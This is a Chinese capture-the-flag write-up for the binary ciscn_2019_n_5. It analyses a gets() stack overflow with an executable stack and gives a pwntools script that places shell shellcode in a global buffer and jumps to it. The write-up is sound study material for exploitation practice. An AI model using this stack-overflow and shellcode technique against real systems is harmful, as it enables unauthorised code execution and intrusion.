【CTF】ciscn_2019_n_5

题目分析

1 反编译，寻找可以利用的地方

main函数的反编译结果如下：

int main(void)
{
  1 char text [30];  
  2 setvbuf(stdout,(char *)0x0,2,0);
  3 puts("tell me your name");
  4 read(0,name,100);
  5 puts("wow~ nice name!");
  6 puts("What do you want to say to me?");
  7 gets(text);
  return 0;
}

从代码中分析：
1）有两个可输入的变量，一个是name，一个是text，从输入函数判断，只有text存在溢出可能。
2）没有可以回显内存地址的地方。

2 寻找利用方法

1）继续分析代码，查找是否有可以利用的函数(系统调用类的或者/sh之类的关键字)，未找到
2）查看ELF属性，NX disabled，说明栈可执行。
3）根据已有信息推测大概率可以用用栈执行shellcode方法，那剩下一个问题，如何确定shellcode的地址？
4) 仔细分析，有两个变量可以供输入，其中text可以溢出，但是是局部变量，没法获取地址；另外一个name是全局变量，可以获取地址，但是没法溢出，因此可以存放shellcode。（虽然这个推理很明显，但是本人愚钝，确实想了好一会）
5）到这里题目的解决方法就完整了，找到溢出地址（pattern offset之类的），利用text溢出跳转到name(存放shellcode)。

3 攻击脚本

  1 from pwn import *
  2
  3 elf = ELF('ciscn_2019_n_5')
  4
  5 context(arch = 'amd64', os = 'linux',log_level = 'debug')
  6
  7 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
  8 shellcode=asm(shellcraft.amd64.linux.sh())
  9 print(len(shellcode))
 10 print(shellcode)
 11
 12 sh = process('./ciscn_2019_n_5')
 13 sh.recvuntil('name')
 14 sh.sendline(shellcode) // 发送shellcode
 15 sh.recvuntil('me?')
 16 pad = 'A' * 40  // 长度40溢出
 17 print(pad)
 18 sh.sendline(pad.encode() + p64(0x00601080)) // 0x00601080为name地址
 19 sh.interactive()

总结

前段时间有点忙，荒废了一段时间，作为老年组选手，找shellcode存放地址的时候费了点时间，说明理解还不够深入，继续。